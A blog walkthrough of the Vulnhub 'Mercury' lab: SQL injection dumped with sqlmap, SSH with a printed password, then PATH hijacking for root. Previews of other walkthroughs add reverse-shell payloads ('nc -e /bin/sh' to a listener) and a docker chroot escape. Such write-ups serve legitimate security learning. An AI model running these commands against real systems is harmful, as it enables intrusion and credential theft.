Mercury - Walkthrough [Vulnhub]

Here's my solution for Mercury.
The machine can be downloaded from here.

Nmap
Scanning for all TCP ports.
$ nmap -sC -sV -p- 192.168.1.106


We find 2 ports open.

Directory Scan
Browsing the web.

We scan for directories using dirb.
$ dirb http://192.168.1.106 -X .html,.php,.txt


Browsing /robots.txt


No any information or hint yet.
But when we enter any random string as a directory name, an error is occurred which reveals a directory name, and we browse it.



Browsing /mecuryfacts


 

We click on- Load a fact, and put a single quote(') after 1. We see a SQL error.

Also after clicking- See list, we put single quote(') after todo a SQL error is occurred.

This makes the chance for SQL Injection. We use sqlmap to automate the process.

Enumerating database names.
$ sqlmap -u http://192.168.1.106:8080/mercuryfacts/* --batch --dbs



Enumerating tables of the database name- mercury.
$ sqlmap -u http://192.168.1.106:8080/mercuryfacts/* --batch --tables -D mercury



Dumping column data of the table- users.
$ sqlmap -u http://192.168.1.106:8080/mercuryfacts/* --batch --columns -T users -D mercury --dump



We get the credentials.

Getting Access.
The only credential works is the username: webmaster and its associated password.

Accessing SSH.
$ ssh webmaster@192.168.1.106
Password: mercuryisthesizeof0.056Earths

User Flag.



Privilege Escalation
From webmaster>linuxmaster.
We find a file- notes.txt under the directory /mercury_proj
Noticing the contents in it, seems to be the password of another user- linuxmaster in base64 format.

We can verify the user by checking the file- /etc/passwd.


Lets decode the base64 encoded password and switch to the user.



From linuxmaster>root.
We check for SUDO rights.

We see that the .sh file is trying to run the tail command, which is a genuine file under /usr/bin.

Since the absolute path of- tail command, is absent we can take advantage of it by manipulating it's path.

We run the .sh file as user- root and obtain the root flag.



Comments

Post a Comment

Popular posts from this blog

Sunset:Noontide - Walkthrough [Vulnhub]

Image
Here's my solution for Sunset:Noontide. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.109 We find 3 ports (UnrealIRCd) open. Enumeration We search the exploit for UnrealIRCd and we find it here.     Getting Access To exploit we simply run the nmap command with the reverse shell payload and on the other hand we start the netcat listener. $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.1.108 1234' 192.168.1.109 We get the reverse shell. User Flag. Privilege Escalation We find that user- root has the default password- root. Lets switch to user- root and get the root flag. $ su root Password: root  
Read more

CyberSploit:2 - Walkthrough [Vulnhub]

Image
Here's my solution for CyberSploit:2. The Machine can be downloaded from here Nmap Starting with nmap scanning for all TCP open ports. nmap -sC -sV -p- 192.168.1.103 We find only 2 open ports. Enumeration Browsing the website, show list of usernames and passwords. Checking the source code reveal us a hint- ROT47. While browsing the website, we see a strange username- D92:=6?5C2 and its associated password as- 4J36CDA=@:E` From the hint we can guess that the username and password can be ROT47 encoded. Browsed Decode.fr to decode it, and we get the credentials as- username: shailendra password: cybersploit1 Getting Access Tried ssh with credential, and we get the access. ssh shailendra@192.168.1.1 password: cybersploit1 Found a file named as hint.txt, which gives a hint as docker, it can be used for privilege escalation, also the user is a member of docker group. Privilege Escalation docker run -v /:/mnt --rm -it alpine chroot /mnt sh And we get the flag
Read more

BBS(cute):1.0.1 - Walkthrough [Vulnhub]

Image
Here's my solution for BBS(cute):1.0.1. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.111 We find 5 ports open. Enumeration Browsing the web hosted on port 80 (Default HTTP Port). We do not find any useful information lets run the dirb for scanning directories. $ dirb http://192.168.1.111 -r Browsing /index.php We see that it is built on CMS- CuteNews and its version 2.1.2 We search for the exploit and found it here.   Lets get this exploit. Getting Access But before running the exploit we need to make some changes. We remove all /CuteNews from the exploit code, in order to run it successfully. Done with the changes, now we run the exploit. $ python3 48800.py We provide the required information that is, the URL and hit enter. The commands are running fine, but we are not able to navigate to different directories, hence we try to get the normal reverse shell. We see netcat is present, we enter the payload. $ nc -e /bin/bash 19...
Read more